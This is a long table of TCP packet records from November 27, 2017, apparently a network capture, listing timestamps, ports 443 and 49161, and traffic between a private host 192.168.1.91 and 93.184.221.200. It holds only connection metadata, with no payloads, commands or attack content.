Nov 27, 2017 12:34:07.300179005 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.306855917 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.306883097 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.307162046 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.307190895 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.320935965 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.320950031 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.320955038 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.321167946 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.321197987 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.332055092 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.332078934 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.332355022 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.332379103 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.335140944 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.335179090 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.335295916 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.335319996 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.342173100 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.342211962 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.342371941 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.342402935 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.355184078 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.355241060 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.355257988 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.355369091 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.355392933 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.364007950 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.364023924 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.364126921 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.364146948 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.368114948 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.370994091 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.371011972 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.371021032 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.371098995 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.375374079 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.378885031 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.378904104 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.378978968 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.378998041 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.382777929 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.382797956 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.383874893 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.383903980 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.389792919 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.389815092 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.392092943 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.392139912 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.399561882 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.399580956 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.399878025 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.399899960 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.409915924 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.409933090 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.409939051 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.410410881 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.410432100 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.413630009 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.413645983 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.414361954 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.414383888 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.421870947 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.421884060 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.422076941 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.422101021 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.423229933 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.423244953 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.423389912 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.423410892 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.430260897 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.430275917 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.430283070 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.430349112 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.430375099 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.434799910 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.435195923 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.435218096 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.437295914 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.437392950 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.440587044 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.440602064 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.440612078 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.440823078 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.444299936 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.444314957 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.444320917 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.444391966 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.449556112 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.449572086 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.449578047 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.449915886 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.451332092 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.454324007 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.454349041 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.454543114 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.454574108 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.459080935 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.459105015 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.459316969 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.459321022 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.459332943 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.459340096 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.459351063 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.459716082 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.464747906 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.467608929 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.467859030 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.467890024 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.470401049 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.470421076 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.471817970 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.471834898 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.471843958 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.471868038 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.475214005 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.475255013 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.477899075 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.477914095 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.479285002 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.479330063 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.485980034 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.485996962 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.486100912 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.486128092 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.490648985 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.490665913 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.490854025 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.490880013 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.495249033 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.495276928 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.495526075 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.495556116 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.495815039 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.495830059 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.495950937 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.495973110 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.502101898 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.502127886 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.502401114 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.502434015 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.510809898 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.510831118 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.510853052 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.510971069 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.510993958 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.515114069 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.515146017 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.515242100 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.515263081 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.520912886 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.520932913 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.521028996 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.521048069 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.522953033 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.522979975 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.523097992 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.523117065 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.528879881 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.528908968 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.528935909 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.529084921 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.529129982 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.531176090 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.531196117 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.531366110 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.531403065 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.534147024 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.534172058 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.534285069 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.534316063 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.540077925 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.540111065 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.540230036 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.540249109 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.548547029 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.548567057 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.548681974 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.548702002 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.552697897 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.552716970 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.552834034 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.552853107 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.553654909 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.553674936 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.553814888 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.553844929 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.556802988 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.556830883 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.556938887 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.556957960 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.559768915 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.559806108 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.559904099 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.559931993 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.560597897 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.560642004 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.560996056 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.561022043 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.562990904 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.563013077 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.563162088 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.563180923 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.564555883 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.564578056 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.564698935 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.564717054 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.566127062 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.566178083 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.566262007 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.566277981 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.567593098 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.567678928 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.568164110 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.568190098 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.568480968 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.568506956 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.568556070 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.568569899 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.571234941 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.571264982 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.571353912 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.571372986 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.572794914 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.572829008 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.573126078 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.573138952 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.574523926 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.574556112 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.574624062 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.574641943 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.575687885 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.575710058 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.575874090 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.575911045 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.577768087 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.577790022 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.577997923 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.578039885 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.578913927 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.578942060 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.579128981 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.579165936 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.581016064 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.581048012 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.581127882 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.581155062 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.581324100 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.581351995 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.581666946 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.581695080 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.583080053 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.584157944 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.584182978 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.584191084 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.584311962 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.585449934 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.585477114 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.585500002 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.585608959 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.586715937 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.586746931 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.586761951 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.586844921 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.589023113 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.589052916 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.589061975 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.589565992 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.590858936 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.590888023 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.590904951 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.590995073 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.591085911 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.591103077 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.591114044 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.591438055 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.592529058 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.592550993 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.592694044 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.593296051 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.593321085 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.593329906 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.593373060 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.595748901 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.595777035 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.595784903 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.595890045 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.596951008 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.596972942 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.596981049 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.597110033 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.597318888 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.597855091 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.597877979 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.598006010 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.598031044 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.599072933 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.599097967 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.599106073 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.599227905 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.599244118 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.600260019 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.600282907 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.600383997 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.600410938 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.601016998 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.601047993 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.601202011 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.601226091 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.601953030 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.601972103 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.602046013 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.602061987 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.602471113 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.602493048 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.602508068 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.602752924 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.602768898 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.603034019 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.603049040 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.603128910 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.603146076 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.603709936 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.604988098 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.605021954 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.605335951 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.605351925 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.605695009 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.605731964 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.605806112 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.605820894 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.606683016 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.606719017 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.606735945 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.606971979 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.606987953 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.607798100 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.608123064 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.608160019 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.608176947 CET	443	49161	93.184.221.200	192.168.1.91
